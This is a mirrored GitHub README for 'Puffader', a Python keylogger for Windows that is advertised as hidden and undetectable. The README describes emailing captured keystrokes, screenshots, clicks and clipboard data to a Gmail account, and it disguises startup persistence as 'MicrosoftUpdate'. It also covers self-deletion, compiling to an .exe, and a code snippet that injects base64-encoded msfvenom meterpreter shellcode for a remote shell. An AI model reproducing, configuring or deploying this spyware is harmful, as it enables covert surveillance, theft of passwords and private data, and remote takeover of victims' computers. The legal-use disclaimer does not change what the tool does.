Giter VIP home page Giter VIP logo

puffader's Introduction

Build status

Puffader

Puffader is an opensource, hidden and undetectable keylogger for windows written in Python 2.7 which can also capture screenshots, mouse window clicks and clipboard data.

Installation

Puffader Requires:

Please refer to the wiki for more information on installing prerequisites.

The program can be downloaded via github or git eg. git clone https://github.com/xp4xbox/Puffader

Features

Currently Puffader has several features such as:

  • Ability to send logs to any gmail account.
  • Ability to capture screenshots
  • Ability to store logs locally
  • Ability to configure log size before sending
  • Ability to send logs at timed intervals
  • Ability to stop the program via ctrl-rshift-lshift-h.
  • Ability to log special characters.
  • Ability to embed an undetectable meterpreter shell
  • Ability to capture window mouse clicks
  • Ability to run at startup
  • Ability to capture clipboard data
  • Ability to melt file on execution
  • Checking for multiple instances
  • And more...

Quick Usage

  1. Open file with idle or any other editor.
  2. Modifiy lines 18-37 for your personal preference: eg.
strEmailAc = "[email protected]"
strEmailPass = "pass"

intCharPerSend = 1000

blnUseTime = "False"
intTimePerSend = 120

blnStoreLocal = "True"
strLogFile = "c:/temp/test.txt"

blnScrShot = "True"
strScrDir = "c:/temp"
intScrTime = 120

blnLogClick = "True"
blnAddToStartup = "False"

blnLogClipboard = "False"
blnMelt = "False"

NOTE: For strScrDir, be sure to leave out the last /.

You can only choose one method for storing/sending logs, default is by email.

If you plan to send messages via email, be sure to allow access for less secure apps in your gmail account.

If you ever set the program to run at startup and want to remove it, open regedit and navigate to HKCU\Software\Microsoft\Windows\CurrentVersion\Run and delete the value MicrosoftUpdate.

For more information please refer to the wiki.

Compiling Program To .exe

Py2Exe

  1. (Optional) Add this code to Puffader.py sys.stderr = None after the import statements to ensure no errors will show.
  2. Install Py2Exe.
  3. Make sure the program is called Puffader.py in your python folder as well.
  4. Run python setup.py
  5. You should see the .exe in the dist folder.

Or refer to the wiki for more information.

Adding Meterpreter Plugin

  1. Generate raw shellcode using msfvenom (eg. xr8\x02...).
  2. Encode the shellcode to base64 by using this.
  3. Move the code_injector module to same dir as the program.
  4. Paste in this code after the function to prevent multiple instances as here. Setting b64shellcode to be your encrypted shellcode.
import code_injector, base64
# base64 shellcode
b64shellcode = ""
shellcode = base64.b64decode(b64shellcode)  # decrypt shellcode
pid = os.getpid()  # get current pid

code_injector.InjectShellCode(pid, shellcode)  # inject the shellcode into the program
  1. Build program with Py2Exe.

Check my other project PyEvade for more info on how this works.

Help

If you need any help at all, feel free to post a "help" issue.

Contributing

Contributing is encouraged and will help make a better program. Please refer to this before contributing.

Disclaimer

This program must be used for legal purposes! I am not responsible for anything you do with it.

License

License

puffader's People

Contributors

xp4xbox avatar modelorona avatar revolter avatar vaibhavsingh97 avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.